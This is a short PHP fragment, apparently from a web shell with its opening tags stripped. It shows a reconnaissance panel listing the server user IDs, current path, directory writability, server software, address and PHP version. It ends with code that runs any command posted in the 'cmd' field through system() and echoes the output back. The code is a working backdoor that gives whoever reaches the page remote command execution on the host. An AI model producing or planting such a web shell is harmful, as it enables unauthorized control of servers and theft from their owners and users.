= $info ?>: = $value ?> |
User Info: uid== $login ?>(= $whoami?>) euid== $euid ?>(= $whoami?>) gid== $gid ?>(= $whoami?>) |
Current Path: = $chdir ?> |
Permission Directory: if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?> |
Server Services: = "$SERVER_SOFTWARE $SERVER_VERSION"; ?> |
Server Adress: = "$SERVER_ADDR $SERVER_NAME"; ?> |
Script Current User: = $user ?> |
PHP Version: = $ver ?> |
$cmd = $_POST['cmd']; if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); exit; ?>